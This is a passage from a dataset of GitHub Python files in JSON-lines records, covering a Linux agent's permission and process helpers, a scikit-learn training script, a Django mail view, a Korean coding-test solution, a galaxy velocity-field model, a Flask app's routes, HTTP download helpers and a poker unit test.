(os.getpid(), libp))\n return (ret == 0)\n\ndef dlclose(handle)\n libdl = ctypes.CDLL(\"libdl.so\")\n libdl.dlclose(handle)\n'''\n \nclass Main():\n \n def __init__(self):\n None\n \n def load_library(self):\n None\n \n def unload_library(self):\n None\n \n def task_kill(self, pid) :\n try:\n os.kill(pid, -9)\n except OSError:\n return False\n return True\n \n def is_task_running(self, pid):\n try:\n os.kill(pid, 0)\n except OSError:\n return False\n return True\n \n def set_file_permission_everyone(self,f):\n os.chmod(f, stat.S_IRUSR | stat.S_IWUSR | stat.S_IRGRP | stat.S_IWGRP | stat.S_IROTH | stat.S_IWOTH)\n \n \n def fix_file_permissions(self,operation,path,path_template=None):\n apppath=path\n if apppath.endswith(os.sep):\n apppath=apppath[0:len(apppath)-1]\n apppath_template=path_template\n if apppath_template is not None:\n if apppath_template.endswith(os.sep):\n apppath_template=apppath_template[0:len(apppath_template)-1]\n \n if operation==\"CREATE_DIRECTORY\":\n apppath_template=os.path.dirname(path) \n stat_info = os.stat(apppath_template)\n mode = stat.S_IMODE(stat_info.st_mode)\n os.chmod(path,mode)\n os.chown(path, stat_info.st_uid, stat_info.st_gid)\n elif operation==\"CREATE_FILE\":\n apppath_template=os.path.dirname(path) \n stat_info = os.stat(apppath_template)\n mode = stat.S_IMODE(stat_info.st_mode)\n os.chmod(path, ((mode & ~stat.S_IXUSR) & ~stat.S_IXGRP) & ~stat.S_IXOTH)\n os.chown(path, stat_info.st_uid, stat_info.st_gid)\n elif operation==\"COPY_DIRECTORY\" or operation==\"COPY_FILE\":\n if apppath_template is not None:\n stat_info = os.stat(apppath_template)\n mode = stat.S_IMODE(stat_info.st_mode)\n os.chmod(path,mode)\n stat_info = os.stat(os.path.dirname(path)) #PRENDE IL GRUPPO E L'UTENTE DELLA CARTELLA PADRE \n os.chown(path, stat_info.st_uid, stat_info.st_gid)\n elif operation==\"MOVE_DIRECTORY\" or operation==\"MOVE_FILE\":\n if apppath_template is not None:\n stat_info = os.stat(apppath_template)\n mode = stat.S_IMODE(stat_info.st_mode)\n os.chmod(path,mode)\n os.chown(path, stat_info.st_uid, stat_info.st_gid)\n \n def is_gui(self):\n try:\n appout = subprocess.Popen(\"ps ax -ww | grep 'X.*-auth .*'\", shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE).communicate() \n lines = appout[0].splitlines()\n for l in lines:\n if 'X.*-auth .*' not in l:\n return True\n except:\n None\n return False\n \n ","repo_name":"ugovender/agent","sub_path":"native_linux.py","file_name":"native_linux.py","file_ext":"py","file_size_in_byte":3962,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"29733614878","text":"from sklearn import linear_model\r\nfrom sklearn import metrics\r\nfrom sklearn import ensemble\r\n\r\nfrom The_Great_Indian_Hiring.src.config import clsTrain, clsTest, clsEngineeredSet\r\nfrom The_Great_Indian_Hiring.src.prediction import clsPrediction\r\nfrom The_Great_Indian_Hiring.src.loggging import clsLogFile\r\nfrom The_Great_Indian_Hiring.src.GPMinimize import clsGPMinimize\r\nfrom The_Great_Indian_Hiring.src.GPMinimizeConstants import PARAMNAMES, PARAMSPACE\r\nfrom The_Great_Indian_Hiring.src.utils import clsDataFrameUtilityFunctions\r\nfrom The_Great_Indian_Hiring.src.twilliowhatsapp import clsTwilioWhatsapp\r\n\r\n\r\nclass clsTrainModel:\r\n\r\n @staticmethod\r\n def funcTrain(fncpMODEL, fncpGITID, fncpTopKFeatures, fncpPreprocessingComments_GP, fncpComment_GP,\r\n fncpPreprocessingComments_FIT, fncpComment_FIT, fncpTrain, fncpTest, fncpTrainFilename,\r\n fncpTargetFilename, fncpTestFilename, fncpGPMinimize=True, fncpModelParameters=None, fncpNewFile=True, fncpWhatsApp=False):\r\n\r\n \"\"\"\r\n This function would train a model and saves predicted values output.\r\n \"\"\"\r\n dfUtilityFunc = clsDataFrameUtilityFunctions()\r\n\r\n if fncpNewFile:\r\n dfUtilityFunc.funcSavingDFToCSV(fncpTrain.data, fncpTrainFilename)\r\n dfUtilityFunc.funcSavingDFToCSV(fncpTrain.target, fncpTargetFilename)\r\n dfUtilityFunc.funcSavingDFToCSV(fncpTest.data, fncpTestFilename)\r\n\r\n engineeredSet = clsEngineeredSet(trainfilename=fncpTrainFilename,\r\n targetfilename=fncpTargetFilename,\r\n testfilename=fncpTestFilename)\r\n # This checks if model parameters are passed or not. If they are not passed and\r\n # GPMinimize is set to false, it uses model's default parameters.\r\n if fncpModelParameters is None:\r\n # Condition to check whether to perform GP Minimize or not\r\n if fncpGPMinimize:\r\n gpMinimize = clsGPMinimize(model=fncpMODEL,\r\n trainset=engineeredSet,\r\n fncpParamSpace=PARAMSPACE[type(fncpMODEL()).__name__],\r\n fncpParamNames=PARAMNAMES[type(fncpMODEL()).__name__],\r\n fncpmetrics=metrics.mean_squared_error)\r\n res, modelHyperParameters = gpMinimize.funcGPMinimize(n_calls=10,\r\n fncpkfoldvalue=5,\r\n preProcessingComment=fncpPreprocessingComments_GP,\r\n mdlComment=fncpComment_GP,\r\n gitCommentID=fncpGITID)\r\n modelType = fncpMODEL(**modelHyperParameters)\r\n else:\r\n modelType = fncpMODEL()\r\n else:\r\n modelHyperParameters = fncpModelParameters\r\n modelType = fncpMODEL(**modelHyperParameters)\r\n\r\n prediction = clsPrediction(engineeredSet.data, engineeredSet.target, engineeredSet.testdata)\r\n\r\n modelFileName, outputFileName = prediction.funcPredict(modelType)\r\n log = clsLogFile(ModelName=type(modelType).__name__,\r\n ModelCVScore=0,\r\n ModelFeatures=engineeredSet.data.columns,\r\n ModelHyperParameters=modelHyperParameters,\r\n ModelFileName=modelFileName,\r\n OutputFileName=outputFileName,\r\n ModelPreProcessingSteps=fncpPreprocessingComments_FIT,\r\n comments=fncpComment_FIT,\r\n gitCommentID=fncpGITID)\r\n log.funcLogging()\r\n\r\n # Sending whatsapp message\r\n if fncpWhatsApp:\r\n whatsApp = clsTwilioWhatsapp()\r\n if whatsApp.sendingWhatsAppMessage('Model Training completed and output is saved'):\r\n print('\\nWhatsApp message sent')\r\n\r\n print('\\n==============================> $$$ MODEL SUCCESSFULLY TRAINED $$$ <================================')\r\n\r\n\r\nif __name__ == '__main__':\r\n model = ensemble.GradientBoostingRegressor\r\n ModelParameters = {'learning_rate': 0.6196132926827669, 'n_estimators': 1918, 'subsample': 0.901777017820474,\r\n 'min_samples_split': 0.37504403071309733, 'min_samples_leaf': 0.05769203990674111,\r\n 'min_weight_fraction_leaf': 0.19670520421773324, 'max_depth': 115, 'max_features': 0.09918135198782199}\r\n topFeatures = 7\r\n train = clsTrain()\r\n train.COLUMNSTODROP = ['InvoiceDate']\r\n test = clsTest(train)\r\n funcTrainParams = {'fncpMODEL': model,\r\n 'fncpGITID': 514,\r\n 'fncpTopKFeatures': topFeatures,\r\n 'fncpPreprocessingComments_GP': [f'1. {type(model()).__name__} GP minimize\\n',\r\n f'2. {type(model()).__name__} after feature selection\\n',\r\n f'3. Selecting top {topFeatures} features\\n',\r\n '4. Implemented Polynomial Transformation of degree 2\\n',\r\n '5. Implemented target transformation '],\r\n 'fncpComment_GP': [f'{type(model()).__name__}- GP Minimize HyperParameters'],\r\n\r\n 'fncpPreprocessingComments_FIT': [f'1. {type(model()).__name__} GP minimize\\n',\r\n f'2. {type(model()).__name__} fitted on top {topFeatures} features.\\n',\r\n f'3. {type(model()).__name__} after feature selection',\r\n '4. Implemented Polynomial Transformation of degree 2\\n',\r\n '5. Implemented target transformation '],\r\n 'fncpComment_FIT': [f'1. Predicted values after fitting the model using GPMinimize.'],\r\n 'fncpTrain': train,\r\n 'fncpTest': test,\r\n 'fncpTrainFilename': 'FeatureEngineeredTrainSet.csv',\r\n 'fncpTargetFilename': 'FeatureEngineeredTargetSet.csv',\r\n 'fncpTestFilename': 'FeatureEngineeredTestSet.csv',\r\n 'fncpNewFile': True,\r\n 'fncpGPMinimize': True,\r\n 'fncpWhatsApp': False,\r\n 'fncpModelParameters': ModelParameters\r\n }\r\n\r\n modelTrain = clsTrainModel()\r\n modelTrain.funcTrain(**funcTrainParams)","repo_name":"IM8055/The_Great_Indian_Hiring","sub_path":"MachineHack_11062020/The_Great_Indian_Hiring/src/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6842,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42695694606","text":"from django.shortcuts import render\r\n\r\nfrom django.conf import settings\r\nfrom django.core.mail import send_mail\r\nfrom django.contrib import messages\r\nfrom django.http import HttpResponse, HttpResponseRedirect,Http404\r\n\r\nfrom django.core.exceptions import ValidationError\r\nfrom django.core.validators import validate_email\r\n\r\n# Create your views here.\r\ndef index(req):\r\n try: \r\n x = req.session[\"sent_mail\"]\r\n data={'mail':False, 'data':x}\r\n except:\r\n data={'mail':True}\r\n return render(req, 'index.html', data)\r\n\r\ndef mail(req):\r\n name_text = str(req.POST[\"name\"])\r\n email_text = str(req.POST[\"email\"]).lower()\r\n\r\n try:\r\n validate_email(email_text)\r\n except ValidationError as e:\r\n messages.success(req,\"Enter a valid email address\")\r\n return HttpResponseRedirect(\"/\")\r\n else: \r\n if len(name_text) == 0 or len(email_text)==0:\r\n messages.success(req,\"Please mention your name and your email adress\")\r\n return HttpResponseRedirect(\"/\")\r\n else:\r\n body=f\"\"\"\r\n Listed email id: {email_text}\r\n Listed name: {name_text}\r\n \"\"\" \r\n try:\r\n subject_text=req.POST[\"subject\"]\r\n except:\r\n subject_text=\"not mentioned\"\r\n try:\r\n message_text= body+req.POST[\"message\"]\r\n except:\r\n message_text= body + \" message not mentioned\"\r\n \r\n subject = subject_text\r\n message = message_text + \"This is generated from my website developed by django.\"\r\n email_from = settings.EMAIL_HOST_USER\r\n recipient_list = [\"bhargab.analytics@gmail.com\"]\r\n \r\n send_mail( subject, message, email_from, recipient_list )\r\n req.session[\"sent_mail\"]=email_text\r\n messages.success(req,\"Thanks for your visit, I will mail you soon.\")\r\n return HttpResponseRedirect(\"/\")","repo_name":"bhargabganguli/self_marketing","sub_path":"bhargab_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"16873884349","text":"'''\n★기출 10. 자물쇠와 열쇠★\n자물쇠는 격자 한 칸의 크기가 1x1인 NxN 크기의 정사각 격자 형태이고\n특이한 모양의 열쇠는 MxM 크기의 정사각 격자 형태로 되어 있습니다.\n열쇠는 회전과 이동이 가능하며 열쇠의 돌기 부분을 자물쇠의 홈 부분에\n딱 맞게 채우면 자물쇠가 열리게 되는 구조입니다. 자물쇠 영역 내에서는\n열쇠의 돌기 부분과 자물쇠의 홈 부분이 정확히 일치해야 하며\n열쇠의 돌기와 자물쇠의 돌기가 만나서는 안됩니다. 또한 자물쇠의 모든\n홈을 채워 비어있는 곳이 없어야 자물쇠를 열 수 있습니다.\n열쇠를 나타내는 2차원 배열 key와 자물쇠를 나태내는 2차원 배열 lock이\n매개볌수로 주어질 때 열쇠로 자물쇠를 열 수 있으면 true를, 열 수 없으면\nfalse를 return 하도록 solution 함수를 완성해주세요.\n\n자물쇠와 열쇠의 크기는 20*20보다 작다. 2차원 리스트에 있는 모든 원소에\n접근할 때는 400만큼의 연산이 필요하다. 파이썬의 경우 일반적인 코테 채점 환경에서\n1초에 2,000만에서 1억 정도의 연산을 처리할 수 있어서 완전 탐색을 이용해\n모든 경우의 수를 해 볼 수 있다. 완전 탐색을 수월하게 하기 위해서\n자물쇠 리스트의 크기를 3배 이상으로 변경하면 계산하기 수월해진다.\n이제 배열은 왼쪽 위에서 시작해서 한 칸씩 이동하는 방식으로 차례대로\n자물쇠의 모든 홈을 채울 수 있는지 확인하면 된다. 문제에서는 0은 홈 부분,\n1은 돌기 부분을 나타낸다. 따라서 자물쇠 리스트에 열쇠 리스트의 값을 더한 뒤에,\n더한 결과를 확인했을 때 자물쇠 부분의 모든 값이 정확히 1인지를 확인하면 된다.\n'''\n# A10\n# https://programmers.co.kr/learn/courses/30/lessons/60059\n\n# 2차원 리스트 90도 회전\ndef rotate_a_matrix_by_90_degree(a):\n n = len(a) # 행 길이 계산\n m = len(a[0]) # 열 길이 계산\n result = [[0] * n for _ in range(m)] # 결과 리스트\n for i in range(n):\n for j in range(m):\n result[j][n - i - 1] = a[i][j]\n return result\n\n# 자물쇠의 중간 부분이 모두 1인지 확인\ndef check(new_lock):\n lock_length = len(new_lock) // 3\n for i in range(lock_length, lock_length * 2):\n for j in range(lock_length, lock_length * 2):\n if new_lock[i][j] != 1:\n return False\n return True\n\ndef solution(key, lock):\n n = len(lock)\n m = len(key)\n # 자물쇠의 크기를 기존의 3배로 변환\n new_lock = [[0] * (n * 3) for _ in range(n * 3)]\n # 새로운 자물쇠의 중앙 부분에 기존의 자물쇠 넣기\n for i in range(n):\n for j in range(n):\n new_lock[i + n][j + n] = lock[i][j]\n \n # 4가지 방향에 대해서 확인\n for rotation in range(4):\n key = rotate_a_matrix_by_90_degree(key) # 열쇠 회전\n for x in range(n * 2):\n for y in range(n * 2):\n # 자물쇠에 열쇠를 끼워 넣기\n for i in range(m):\n for j in range(m):\n new_lock[x + i][y + j] += key[i][j]\n # 새로운 자물쇠에 열쇠가 정확히 들어가는지 검사\n if check(new_lock) == True:\n return True\n # 자물쇠에서 열쇠를 다시 빼기\n for i in range(m):\n for j in range(m):\n new_lock[x + i][y + j] -= key[i][j]\n return False","repo_name":"minzihun/algorithm-practice","sub_path":"This is the Coding Test/04 Implementation/pastQ10.py","file_name":"pastQ10.py","file_ext":"py","file_size_in_byte":3638,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"70243572942","text":"import math\nimport numpy as np\nfrom Tools import calculus\nfrom Class.PSF import PSF\nfrom Class.Images import Image\n\n\nclass Model2D:\n \"\"\"\n Model in 2D of the velocity field of a galaxy\n Compute the velocity field and the dispersion of a model using observed data in input.\n This model can be used only with rotational curves with 3 parameters like which in 'velocity_model.py'\n\n \"\"\"\n def __init__(self, vel, errvel, flux, psf, vel_model, sig0, slope=0.):\n \"\"\"\n\n :param Image vel: represent the velocity field to fit\n :param Image errvel: the error map of the velocity (vel)\n :param Image flux: flux distribution at the same or in high resolution than the velocity\n :param PSF psf: the class of the psf\n :param func vel_model: velocity function used to create the model\n :param float sig0: velocity dispersion of the model\n :param float slope: slope of the velocity dispersion\n \"\"\"\n\n # None parameters\n self.model_pa = None\n self.model_incl = None\n self.model_xc = None\n self.model_yc = None\n self.model_vm = None\n self.model_vs = None\n self.model_rt = None\n self.model_radius = None\n self.model_theta = None\n\n # Parameters which must must be initialized\n self.vel_model = vel_model\n self.model_sig0 = sig0\n self.model_slope = slope\n self.vel_map = np.zeros(vel.get_size())\n self.vel_disp = np.zeros(vel.get_size())\n self.vel_map_hd = np.zeros(np.array(flux.get_size()))\n self.vel = vel\n self.errvel = errvel\n self.flux = flux\n self.psf = psf\n\n def set_parameters(self, xc, yc, pa, incl, vs, vm, rt):\n \"\"\"\n set the value of the model parameters\n\n :param float xc: abscissa of the center in pixel\n :param float yc: ordinate of the center in pixel\n :param float pa: position angle of the major axis in degree\n :param float incl: inclination of the disk in degree\n :param float vs: systemic velocity in km/s\n :param float vm: maximum rotation velocity in km/s\n :param float rt: characteristic radius, where the maximum velocity is reached\n \"\"\"\n\n self.model_pa = pa\n self.model_incl = incl\n self.model_xc = (xc + 0.5) * self.flux.get_oversamp() - 0.5\n self.model_yc = (yc + 0.5) * self.flux.get_oversamp() - 0.5\n self.model_vm = vm\n self.model_vs = vs\n self.model_rt = rt*self.flux.get_oversamp()\n self.model_radius, self.model_theta = calculus.sky_coord_to_galactic(self.model_xc, self.model_yc, self.model_pa, self.model_incl,\n im_size=np.shape(self.vel_map_hd))\n\n def get_parameter(self):\n \"\"\"\n Get the actual parameters of the model (in low resolution scale)\n\n :return ndarray:\n \"\"\"\n return [(self.model_xc + 0.5) * self.flux.get_oversamp() - 0.5, (self.model_yc + 0.5) * self.flux.get_oversamp() - 0.5,\n self.model_pa, self.model_incl, self.model_vs, self.model_vm, self.model_rt/self.flux.get_oversamp()]\n\n def disk_velocity(self):\n \"\"\"\n Compute the velocity field\n\n :return ndarray:\n \"\"\"\n\n vr = self.vel_model(self.model_radius, self.model_rt, self.model_vm)\n\n # Calculation of the velocity field\n v = vr * math.sin(math.radians(self.model_incl)) * self.model_theta + self.model_vs\n\n return v\n\n def velocity_map(self):\n \"\"\"\n calculate the velocity map of the model\n \"\"\"\n\n self.vel_map_hd = self.disk_velocity()\n\n vel_times_flux = calculus.rebin_data(self.psf.convolution(self.flux.data * self.vel_map_hd), self.flux.get_oversamp())\n\n self.vel_map[self.vel.mask] = vel_times_flux[self.vel.mask] / self.flux.data_rebin[self.vel.mask]\n\n def linear_velocity_dispersion(self):\n \"\"\"\n return the velocity dispersion map needed for the fit process\n\n :return ndarray: velocity dispersion map\n \"\"\"\n # Calculation of the velocity dispersion\n sig = self.model_sig0 + self.model_slope * np.abs(self.model_radius)\n sig[np.where(sig <= 0)] = 0\n\n return sig\n\n def vel_disp_map(self):\n \"\"\"\n calculate the velocity dispersion map from the velocity field (with bestfit parameters) and the flux distribution\n\n :return ndarray: velocity dispersion map\n \"\"\"\n\n term1 = np.zeros(self.vel.size)\n term2 = np.zeros(self.vel.size)\n term3 = np.zeros(self.vel.size)\n\n sig = self.linear_velocity_dispersion()\n\n term1[self.vel.mask] = calculus.rebin_data(self.psf.convolution(sig ** 2 * self.flux.data), self.flux.oversample)[self.vel.mask] \\\n / self.flux.data_rebin[self.vel.mask]\n term2[self.vel.mask] = calculus.rebin_data(self.psf.convolution(self.vel_map_hd ** 2 * self.flux.data), self.flux.oversample)[self.vel.mask] \\\n / self.flux.data_rebin[self.vel.mask]\n term3[self.vel.mask] = (calculus.rebin_data(self.psf.convolution(self.vel_map_hd * self.flux.data), self.flux.oversample)[self.vel.mask] /\n self.flux.data_rebin[self.vel.mask]) ** 2\n\n self.vel_disp = np.sqrt(term1 + term2 - term3)\n\n def least_square(self, p, fjac=None):\n \"\"\"\n Function minimized by mpfit.\n\n Return (data-model)^2/err^2\n\n :param ndarray p: array of parameters\n :return ndarray:\n \"\"\"\n\n self.set_parameters(*p)\n self.velocity_map()\n\n return [0, np.reshape((self.vel.data[self.vel.mask]-self.vel_map[self.vel.mask])/self.errvel.data[self.vel.mask], -1)]\n\n def log_likelihood(self, cube, ndim, nparams):\n \"\"\"\n log likelihood function which maximized by multinest\n\n Return sum[(data-model)^2/(2*err^2)]\n\n :param ndarray cube: data whith n_params dimension\n :param int ndim: number of dimension if different of the number of paramerters\n :param int nparams: number of parameters\n :return float:\n \"\"\"\n self.set_parameters(cube[0], cube[1], cube[2], cube[3], cube[4], cube[5], cube[6])\n self.velocity_map()\n\n chi2 = -(self.vel_map[self.vel.mask] - self.vel.data[self.vel.mask])**2/(2*self.errvel.data[self.vel.mask]**2)\n\n return np.sum(chi2)\n","repo_name":"Meirdrarel/galcin","sub_path":"Class/Model2D.py","file_name":"Model2D.py","file_ext":"py","file_size_in_byte":6518,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"16539987947","text":"#----------------------------------------------------------------------------#\n# Imports\n#----------------------------------------------------------------------------#\n\nimport json\nimport dateutil.parser\nimport babel\nfrom flask import Flask, render_template\nfrom flask_moment import Moment\nimport logging\nfrom logging import Formatter, FileHandler\nfrom forms import *\n\nfrom flask_migrate import Migrate\nfrom models import db\nfrom views import index\nfrom views.venues import search_venues, venues, show_venue, create_venue, delete_venue, edit_venue\nfrom views.artists import search_artists, artists, show_artist, create_artist, delete_artist, edit_artist\nfrom views.shows import shows, create_show\n\n#----------------------------------------------------------------------------#\n# App Config.\n#----------------------------------------------------------------------------#\n\napp = Flask(__name__)\nmoment = Moment(app)\napp.config.from_object('config')\n\n# initializing the database\ndb.init_app(app)\n\n# TODO: connect to a local postgresql database\nmigrate = Migrate(app, db)\n\n\n#----------------------------------------------------------------------------#\n# Controllers.\n#----------------------------------------------------------------------------#\n\n# Venues\n# ----------------------------------------------------------------\napp.add_url_rule('/', view_func=index.index, methods=['GET'])\n\n# Venues\n# ----------------------------------------------------------------\n# View all venues\napp.add_url_rule(\n '/venues', view_func=venues.venues, methods=['GET'])\n# Search for a venue\napp.add_url_rule('/venues/search',\n view_func=search_venues.search_venues, methods=['POST'])\n# View a menu detail\napp.add_url_rule('/venues/',\n view_func=show_venue.show_venue, methods=['GET'])\n# Create Venue\n# ----------------------------------------------------------------\n# Create a venue page\napp.add_url_rule('/venues/create',\n view_func=create_venue.create_venue, methods=['GET'])\n# Create a venue form submission handler\napp.add_url_rule('/venues/create',\n view_func=create_venue.create_venue_handler, methods=['POST'])\n# Delete a venue\napp.add_url_rule('/venues/',\n view_func=delete_venue.delete_venue, methods=['DELETE'])\n\n# Update\n# ----------------------------------------------------------------\n# Edit a venue page\napp.add_url_rule('/venues//edit',\n view_func=edit_venue.edit_Venue, methods=['GET'])\n# Edit a venue page form submission handler\napp.add_url_rule('/venues//edit',\n view_func=edit_venue.edit_venue_handler, methods=['POST'])\n\n\n# Artists\n# ----------------------------------------------------------------\n# View all artists\napp.add_url_rule(\n '/artists', view_func=artists.artists, methods=['GET'])\n# Search for an artist\napp.add_url_rule('/artists/search',\n view_func=search_artists.search_artists, methods=['POST'])\n# View an artist detail\napp.add_url_rule('/artists/',\n view_func=show_artist.show_artist, methods=['GET'])\n# Create Artist\n# ----------------------------------------------------------------\n# Create an artist page\napp.add_url_rule('/artists/create',\n view_func=create_artist.create_artist, methods=['GET'])\n# Create an artist form submission handler\napp.add_url_rule('/artists/create',\n view_func=create_artist.create_artist_handler, methods=['POST'])\n# Delete an artist\napp.add_url_rule('/artists/',\n view_func=delete_artist.delete_artist, methods=['DELETE'])\n\n# Update\n# ----------------------------------------------------------------\n# Edid an artist\napp.add_url_rule('/artists//edit',\n view_func=edit_artist.get, methods=['GET'])\napp.add_url_rule('/artists//edit',\n view_func=edit_artist.post, methods=['POST'])\n\n\n# Shows\n# ----------------------------------------------------------------\napp.add_url_rule('/shows', view_func=shows.shows, methods=[\"GET\"])\napp.add_url_rule(\n '/shows/create', view_func=create_show.create_show, methods=[\"GET\"])\napp.add_url_rule(\n '/shows/create', view_func=create_show.create_show_handler, methods=[\"POST\"])\n\n\n#----------------------------------------------------------------------------#\n# Filters.\n#----------------------------------------------------------------------------#\n\n\ndef format_datetime(value, format='medium'):\n date = dateutil.parser.parse(value)\n if format == 'full':\n format = \"EEEE MMMM, d, y 'at' h:mma\"\n elif format == 'medium':\n format = \"EE MM, dd, y h:mma\"\n return babel.dates.format_datetime(date, format, locale='en')\n\n\napp.jinja_env.filters['datetime'] = format_datetime\n\n\n@ app.errorhandler(404)\ndef not_found_error(error):\n return render_template('errors/404.html'), 404\n\n\n@ app.errorhandler(500)\ndef server_error(error):\n return render_template('errors/500.html'), 500\n\n\nif not app.debug:\n file_handler = FileHandler('error.log')\n file_handler.setFormatter(\n Formatter(\n '%(asctime)s %(levelname)s: %(message)s [in %(pathname)s:%(lineno)d]')\n )\n app.logger.setLevel(logging.INFO)\n file_handler.setLevel(logging.INFO)\n app.logger.addHandler(file_handler)\n app.logger.info('errors')\n\n#----------------------------------------------------------------------------#\n# Launch.\n#----------------------------------------------------------------------------#\n\n# Default port:\nif __name__ == '__main__':\n app.run()\n\n# Or specify port manually:\n'''\nif __name__ == '__main__':\n port = int(os.environ.get('PORT', 5000))\n app.run(host='0.0.0.0', port=port)\n'''\n","repo_name":"fluxstride/fyyur","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27186292474","text":"import httplib\nimport shutil\nimport urllib\nimport urllib2\nimport requests\n\n\ndef getDataByHttps(domainUrl, path, method='POST'):\n conn = httplib.HTTPSConnection(domainUrl)\n conn.request(method, path)\n r = conn.getresponse()\n s = r.read().decode('utf-8')\n return s\n\n\ndef getDataByHttpsWithBody(url, values):\n body = urllib.urlencode(values)\n req = urllib2.Request(url, body)\n response = urllib2.urlopen(req)\n return response.read().decode('utf-8')\n\n\ndef download_file(url, file_path):\n r = requests.get(url, stream=True)\n r.raw.decode_content = True\n with open(file_path, 'wb') as f:\n shutil.copyfileobj(r.raw, f)","repo_name":"lasithh/InvestmentManager","sub_path":"MyInvestementsManager/util/HTTPModule/HttpInterface.py","file_name":"HttpInterface.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"43204368224","text":"import unittest\nimport pandas as pd\nfrom Funcoes_Axiliares import Funcoes_Axiliares\nimport sys, os\nsys.path.insert(-1,os.path.abspath('../../../Pyker'))\nfrom cientista.Validar import Regra_mao\n\n\nclass Regra_mao_test(unittest.TestCase,Funcoes_Axiliares):\n\n def test_definir_mao(self):\n print('------------ validar --------------'\n ' Se o pote atual for menor que o pote anterior \\n '\n 'e for preflop é nova mão '\n '-----------------------------------')\n regra_mao = Regra_mao.Regra_mao()\n dataframe_pote = pd.DataFrame()\n regra_mao.iniciar(dataframe_pote)\n lista_telas_embaralhadas = self.retornar_lista_telas_embaralhadas(10, 3)\n for idx, tupla in enumerate(lista_telas_embaralhadas):\n dataframe_pote.loc[idx] = False\n novo_ficheiro = self.gerador_de_ficheiros(tupla[1])\n novo_ficheiro.setdefault('tela', tupla[0])\n for chave in novo_ficheiro:\n dataframe_pote.loc[idx, (chave)] = novo_ficheiro[chave]\n regra_mao.definir_mao(idx)\n\n tela_1 = regra_mao.dataframe[regra_mao.dataframe['tela'] == 1].drop(['tela'], axis=1).to_string(index=False)\n tela_2 = regra_mao.dataframe[regra_mao.dataframe['tela'] == 2].drop(['tela'], axis=1).to_string(index=False)\n tela_3 = regra_mao.dataframe[regra_mao.dataframe['tela'] == 3].drop(['tela'], axis=1).to_string(index=False)\n\n print(tela_1)\n print(tela_2)\n print(tela_3)\n\n self.assertEqual(tela_1, tela_2)\n self.assertEqual(tela_1, tela_3)\n self.assertEqual(tela_2, tela_3)\n\n dataframe = regra_mao.dataframe[regra_mao.dataframe['tela'] == 1].reset_index()\n\n self.assertEqual( dataframe.loc[0, ('mao')], 1)\n self.assertEqual( dataframe.loc[1, ('mao')], 1)\n self.assertEqual( dataframe.loc[2, ('mao')], 2)\n self.assertEqual( dataframe.loc[3, ('mao')], 2)\n self.assertEqual( dataframe.loc[4, ('mao')], 2)\n self.assertEqual( dataframe.loc[5, ('mao')], 2)\n self.assertEqual( dataframe.loc[6, ('mao')], 3)\n self.assertEqual( dataframe.loc[7, ('mao')], 3)\n self.assertEqual( dataframe.loc[8, ('mao')], 3)\n self.assertEqual( dataframe.loc[9, ('mao')], 3)\n\n\n def gerador_de_ficheiros(self, novo_ficheiro):\n if novo_ficheiro == 0:\n ficheiro = {'pote': 0.00, 'bord_FLOP_1': '', 'bord_FLOP_2': '', 'bord_FLOP_3': '', 'bord_RIVER': '',\n 'bord_TURN': ''}\n elif novo_ficheiro == 1:\n ficheiro = {'pote': 3.00, 'bord_FLOP_1': 'C4', 'bord_FLOP_2': '2C', 'bord_FLOP_3': '2C', 'bord_RIVER': '',\n 'bord_TURN': ''}\n elif novo_ficheiro == 2:\n ficheiro = {'pote': 0.00, 'bord_FLOP_1': '', 'bord_FLOP_2': '', 'bord_FLOP_3': '', 'bord_RIVER': '',\n 'bord_TURN': ''}\n elif novo_ficheiro == 3:\n ficheiro = {'pote': 3.00, 'bord_FLOP_1': '2C', 'bord_FLOP_2': '2c', 'bord_FLOP_3': '2C', 'bord_RIVER': '',\n 'bord_TURN': ''}\n elif novo_ficheiro == 4:\n ficheiro = {'pote': 0.00, 'bord_FLOP_1': '2C', 'bord_FLOP_2': '2c', 'bord_FLOP_3': '2C', 'bord_RIVER': '',\n 'bord_TURN': ''}\n elif novo_ficheiro == 5:\n ficheiro = {'pote': 5.00, 'bord_FLOP_1': '2C', 'bord_FLOP_2': '2c', 'bord_FLOP_3': '2C', 'bord_RIVER': '',\n 'bord_TURN': ''}\n elif novo_ficheiro == 6:\n ficheiro = {'pote': 2.00, 'bord_FLOP_1': '', 'bord_FLOP_2': '', 'bord_FLOP_3': '', 'bord_RIVER': '',\n 'bord_TURN': ''}\n elif novo_ficheiro == 7:\n ficheiro = {'pote': 2.00, 'bord_FLOP_1': '', 'bord_FLOP_2': '', 'bord_FLOP_3': '', 'bord_RIVER': '',\n 'bord_TURN': ''}\n elif novo_ficheiro == 8:\n ficheiro = {'pote': 5.00, 'bord_FLOP_1': '', 'bord_FLOP_2': '', 'bord_FLOP_3': '', 'bord_RIVER': '',\n 'bord_TURN': ''}\n elif novo_ficheiro == 9:\n ficheiro = {'pote': 6.00, 'bord_FLOP_1': '', 'bord_FLOP_2': '', 'bord_FLOP_3': '', 'bord_RIVER': '',\n 'bord_TURN': ''}\n return ficheiro\n\n\n\nif __name__ == \"__main__\":\n print('Teste da classe Regra mao')\n unittest.main()","repo_name":"robsonlopesunifor/Pyker","sub_path":"tests/test_cientista/test_validar/test_Regra_mao.py","file_name":"test_Regra_mao.py","file_ext":"py","file_size_in_byte":4335,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"75010197263","text":"from typing import List\n\n\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n def levelOrder(self, root: TreeNode) -> List[List[int]]:\n \"\"\"二叉树的层序遍历\"\"\"\n if not root:\n return []\n 